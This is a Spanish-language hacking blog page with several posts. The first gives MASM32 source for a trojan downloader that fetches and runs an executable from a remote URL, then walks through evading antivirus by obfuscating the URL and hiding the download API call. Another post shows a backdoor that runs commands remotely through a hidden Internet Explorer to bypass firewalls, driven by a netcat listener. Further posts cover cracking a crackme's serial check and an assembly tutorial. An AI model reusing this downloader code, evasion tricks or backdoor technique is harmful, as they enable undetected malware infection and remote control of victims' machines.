Los antivirus y sus "poderosas" heurística

Posted by selmineos | Posted in | Posted on 20:45

En este post vamos a ver cuán sencillo es hacer indetectable un troyano. Cogeremos el más simple posible, Troyan.Downloader, un pequeño programa que se baja un exe de una página web y lo ejecuta con CreateProcess.

Éste es el código fuente original, que compila bajo masm32:

Read more: http://foro.elhacker.net/analisis_y_diseno_de_malware/los_antivirus_y_sus_poderosas_heuristicas-t297351.0.html;msg1474136#new#ixzz0riOZ1clw

.386
.model flat, stdcall ; 32 bit memory model
option casemap :none ; case sensitive

include \MASM32\INCLUDE\windows.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\urlmon.inc
include \MASM32\INCLUDE\shell32.inc

includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\urlmon.lib
includelib \MASM32\LIB\shell32.lib

; #########################################
.data
web db "http://mitroyano.com/test.exe",0
open db "open",0
dir db "test.exe",0 (0) ; buffer for command line
pinfo dd 4 dup (0) ;process handles
startupinfo db 48h dup (0) ;startup info for the process were opening

.code

start:
push NULL
push 0
push offset dir
push offset web
push NULL
CALL URLDownloadToFile

push offset pinfo
push offset startupinfo
push NULL
push NULL
push NULL
push TRUE
push NULL
push NULL
push NULL
push offset dir ; Pointer to name of executable mod
call CreateProcessA

push 0
call ExitProcess

end start

; ####################




He marcado en negrita las tres cosas que son importantes en cuánto a comportamiento vírico se refiere:

(1) un string de una web de dónde se descarga el exe: http://...
(2) la llamada a URLDownloadToFile
(3) la llamada a CreateProcess.

Éste es el análisis del virus antes de modificarlo.



Por cierto, ya es bastante grave que antivirus como F-PROT, AVG, bitdefender no cataloguen correctamente nuestro troyano. Pero sigamos.



Ahora haremos un pequeño cambio. Subsituiremos http por wttp y restauraremos el string al principio del programa:

web DB "wttp://mitroyano.com/troyano.exe", 0
[...]
Lea Eax, [web]
Mov Byte Ptr [Eax], 'h'

Con esto, nos quitamos de encima uno de los antivirus (avira). Aquí tenéis el análisis.

Código:

http://scanner.novirusthanks.org/analysis/e97f5f997c712b39eb038b03db949d7c/UHJveWVjdG8xLmV4ZQ==/


Nuestro siguiente paso va a ser quitar esa llamada tan fea que tenemos a
URLDownloadToFile, que canta muchísimo. ¿Cómo? Pues simplemente vemos con un debugger la primera instrucción que ejecuta la función, que en este caso es mov edi, edi, la copiamos en nuestro programa y luego llamamos a la API con un call eax:


sh NULL
Push 0
push offset dir
push offset web
Push NULL
;Call URLDownloadToFile
Mov Edi, Edi
Mov Eax, URLDownloadToFile
Inc Eax
Inc Eax
Call Eax


Notar que hemos puesto dos inc eax porque la longitud de la instrucción mov edi, edi es dos.

Después de tan complicado cambio, el resultado es que tan sólo Dr.Web lo detecta. ¿Análisis heurístico? ¿Sandboxes? Mejor no digo nada ...

QUIERES SABER QUE PAGINAS HAN SIDO HACKEADAS?

Posted by selmineos | Posted in | Posted on 20:30

Navegando por la red y estudiando un poco, me encontre con esta web, en la cual los hackers muestran sus triunfos e informan que web`s han hackeado.
La web denominada zone-h muestra en tiempo real que web`s han sido afectadas por diversos ataques.

Les dejo para que se diviertan un poco y se sorprendan. www.zone-h.org

Legend:
H - Homepage defacement
M - Mass defacement (click to view all defacements of this IP)
R - Redefacement (click to view all defacements of this site)
- Special defacement (special defacements are important websites)

Ataque en la vida real a una DMZ y luego al servidor server 2003.

Posted by selmineos | Posted in | Posted on 15:34

Este video instructivo creado por la gente de offensive-security, los mismos creadores del proyecto brack track muestra un caso de la vida real el ataque hacia una empresa y la forma en que violan las reglas de seguridad de la empresa.



Ver video o hacer click sobre la imagen

*DMZ En seguridad informatica y mas aplicado a la parte de redes es la llamada zona desmilitarizada. para mayor informacion

Crackme-1 moofy's crackme #2

Posted by selmineos | Posted in | Posted on 9:13

Vamos a crackear nuestro primer programa, muy sencillito. Se trata simplemente de encontrar el número de serie correspondiente a nuestro nombre.

El link de descarga del crackme es éste.


Antes de empezar necesitamos echarle un ojo a cómo funciona el programa. Es muy lineal. Simplemente nos pide un usuario y un password, y si el password es incorrecto nos muestra un texto que pone "bad boy".



Lo primero que hacemos tras cargar el programa es darle a botón derecho y elegir "find all intermodular calls", que nos da la lista de APIs llamadas por el crackme:



De entre todas las llamadas nos interesan las siguientes:

lstrcmpA: comparar strings, seguramente compara el número de serie que le damos con el bueno con una llamada a esta función.
IsDebuggerPresent: usada para detectar nuestro debugger.

Así pues, antes de nada necesitamos interceptar esa llamada a IsDebuggerPresent. Ponemos un breakpoint tanto allí como en la llamada a lstrcmpA:






Y ejecutamos el programa ... Pronto, alcanza la llamada a IsDebuggerPresent, cuyo resultado parcheamos. Tras cambiar el código de retorno a cero, volvemos a darle a F9 y dejamos que continue, hasta que salta el dialogbox pidiéndonos el usuario y el password. Metemos nuestro nombre y cualquier otra cosa como password y le damos a check:



ahí tenemos nuestro password ... Lo copiamos, volvemos a ejecutar el programa sin el debugger y vemos si funciona:



Nunca se debe comparar el número de serie directamente con el input del usuario por esta razón. Siempre, y digo siempre, hay que comparar un hash del número de serie - entre otras muchas medidas que podríamos nombrar.

Saludos,


Articulo copiado de hacking/avanzado

Hola Mundo ... en ensamblador ...

Posted by selmineos | Posted in | Posted on 6:00

Antes de comensar aclaro que este articulo fue extraido de nuetro blog aliado hacking-avanzado cualquier copia o edicion debera ser notificada a dicho blog.

En lugar de soltar un rollo, vamos a empezar viendo el más sencillito de todos los programas, que es el típico "Hola Mundo" que nos ponen de ejemplo en cualquier lenguaje de programación. Así aprovechamos a hacernos una idea genérica de cómo funciona esto de programar en asm.

Lo que vamos a hacer, esquemáticamente, es lo siguiente:

- echarle un ojo a "Hola Mundo" y comentar cómo está programado.
- Usaremos "Hola Mundo" para dar una rápida intro a cómo se depura un programa con OllyDbg (en el siguiente post).
- hablaremos de los registros, la memoria, el stack ...

Este es el programita en asm:



Como veis tiene una estructura muy simple. Veamos:

.Data

strHolaMundo DB 'hola mundo', 0


data declara el comienzo de los datos del programa. Los ejecutables en windows corresponden al formato PE (Portable Executable), que define exactamente dónde y cómo se encuentran los datos, las instrucciones, qué DLLs deberían cargarse cuando se llama al programa, etc ...

Dentro de un ejecutable (PE), tenemos distintas "secciones". Las dos principales son "data", que guarda los datos que el programa necesita (strings y cosas así), y "code", que es donde se meten las instrucciones. Estas secciones en realidad podemos renombrarlas o reordenarlas como queramos, pero de momento lo dejaremos así. En assembly se pueden hacer muchas cosas que en principio no tendrían cabida en otros lenguajes de programación. Ya os avisé ...

Volviendo al programa ... Los strings, al igual que ocurre en C, acaban con un cero. Y eso que veis arriba es la declaración de un string. "db" significa "declare byte", y esta misma instrucción nos permitiría meter bytes en hexadecimal "embedidos" donde nos de la real gana.

.Code

start:


Ya lo comentábamos antes ... "code" declara el comienzo del código y "start" corresponde al "main" del programa. El loader de windows, el programa encargado de subir a memoria un ejecutable y lanzarlo, llama al "main" tras cargar las DLLs, reservar memoria, etc ... y le cede control al programa. El main es lo que se llama "Entry Point", y es un dato que viene metido dentro de las cabeceras del formato PE.

El Entry Point puede ser cualquier cosa. De hecho, antes muchos virus modificaban el EntryPoint para engañar a las rutinas de los antivirus, pasando el control al inicio del programa a una sección "no esperada". Hoy en día esto está en desuso.

Invoke MessageBox, NULL, Addr strHolaMundo, Addr strHolaMundo, NULL

"Invoke" es una macro que se usa simplemente por simplicidad al escribir el código. Lo que hace es un "push" de los parámetros en orden inverso y luego llama a la función que queremos, en este caso MessageBox.

Si miramos la definición de MessageBox en msdn tenemos:

Displays a modal dialog box that contains a system icon, a set of buttons, and a brief application-specific message, such as status or error information. The message box returns an integer value that indicates which button the user clicked.
Syntax

int MessageBox(
__in HWND hWnd,
__in LPCTSTR lpText,
__in LPCTSTR lpCaption,
__in UINT uType
);

Hemos pasado como parámetros la dirección del string "Hola Mundo". Cuando veamos el resultado tras compilar el programa veremos que eso se traduce en una serie de instrucciones "push" y un call. "Push" lo que hace es guardar un dato en el stack, que es una región de memoria que se usa para pasar parámetros a/desde funciones.

Uno de los fallos típicos de programción, y cada vez más difíciles de encontrar, son los buffer overflows, que consisten en, dicho super simplificado, meter dentro de alguno de los parámetros de una función nuestro código en ensamblador, consiguiendo que el programa lo ejecute.

Invoke ExitProcess, 0

Como comentábamos antes, el sistema operativo cede el control al programa llamando a "main", y por lo tanto debemos devolver algún código de retorno. Lo normal es devolver SUCCESS, que es un cero.

Esto mismo podríamos hacerlo en lugar de con invoke con un par de instrucciones en asm:

push 0
ret

Aunque realmente cuando decompilemos veremos algo como esto, en lugar de un simple ret:

push 0
call ExitProcess

El ret ("ret" de return) volvería de la llamada a "main" y devolvería un cero. El valor cero, como veis, lo hemos metido en el stack, que es donde el sistema operativo espera leer el código de retorno.

Y éste es el resultado:

Eliminar rastro office 2007

Posted by selmineos | Posted in | Posted on 10:43



A veces resulta que es imposible desinstalar el Office 2007 por el procedimiento habitual, para ello alguien se curro un "script" que elimina completamente del registro todo rastro del Office 2007.

Muy útil realmente:

Office2K7DelReg.rar

Básicamente es facilitar a un solo click, el método largo y tedioso de Microsoft

Troyanos titiriteros

Posted by selmineos | Posted in | Posted on 11:02

Aunque la palabra 'titiritero' a día de hoy tiene múltiples acepciones y en general engloba a muchas actividades circenses, el origen de esa palabra es aquellas personas que movían marionetas en espectáculos de teatro.

El tipo de troyano del que vamos a hablar hoy va en esa linea, troyanos que usan como marionetas programas del PC para comunicarse con el exterior.

Primero de todo, algo de background, en entornos Microsoft existe una tecnología llamada OLE/COM por la cual ciertos programas exportan su funcionalidad fuera del programa de forma que pueden ser llamados como 'servicios' desde aplicaciones externas. Un ejemplo: la mayoría de programas de la suite Office de microsoft pueden ser usados sin necesidad de intervención humana, por ejemplo, podemos abrir una hoja excel y hacer uso de alguna función matemática desde un script escrito en Visual Basic, ¿Como? simplemente hay que localizar el objeto OLE/COM de excel y usarlo empleando los métodos que exporta como si se trataran de funciones nativas.

Otro de los programas que exporta su funcionalidad es Internet Explorer, haciendo uso del objeto InternetExplorer.Application.1 podemos abrir una instancia de Explorer, navegar con ella y extraer el contenido de una pagina web desde un script. Además, si hacemos esa ventana invisible, podemos hacer todo eso sin que haya evidencias al respecto.

Entonces, pudiendo navegar usando Internet Explorer de forma oculta, es bastante sencillo implementar un troyano que use Explorer como vehículo para implementar un backdoor.

Este tipo de troyanos son útiles en dos escenarios bastante típicos, por un lado en las intranets corporativas donde no se permite conectividad directa hacia el exterior y es necesario emplear un proxy con autenticación

Otro escenario bastante común es el uso de Firewalls (normalmente integrados en el antivirus) que bloquean las aplicaciones que intentan hacer conexiones, por lo general estos firewalls vienen configurados por defecto para dejar salir ciertos programas, entre ellos, como no: Internet Explorer, entonces, empleando internet explorer como 'títere' para la comunicación al exterior, conseguimos hacer un bypass del Firewall (click para agrandar la imagen)


Como prueba-de-concepto he implementado un backdoor que hace uso de esta técnica y que permite ejecutar comandos remotamente usando el navegador como intermediario, se puede obtener desde aquí y funciona de la siguiente manera:

En el PC que actúa a modo de cliente (el troyano) ejecutamos:

ietroj.exe 192.168.1.45 (la dirección IP del servidor)

En el servidor, con un simple netcat es suficiente:

nc -l -p 80

Al conectar, el troyano informa que está esperando ordenes:

POST /cgi-bin/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 20
Connection: Keep-Alive
Cache-Control: no-cache

Ready for commands

vamos a obtener la salida del comando ipconfig, para ello, desde el netcat, escribimos:

command ipconfig

Cerramos el netcat (Crt+C) y lo volvemos a lanzar para obtener la respuesta:

nc -l -p 80

el cliente vuelve a conectar y ...

POST /cgi-bin/ HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Accept-Language: es
Content-Type: text/plain
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: 192.168.157.1:8000
Content-Length: 327
Connection: Keep-Alive
Cache-Control: no-cache


Configuración IP de Windows


Adaptador Ethernet Conexión de área local :

Sufijo de conexión específica DNS : localdomain
Dirección IP. . . . . . . . . . . : 192.168.157.128
Máscara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada : 192.168.157.2

et vuala, nos envía la salida del comando

Archivo del blog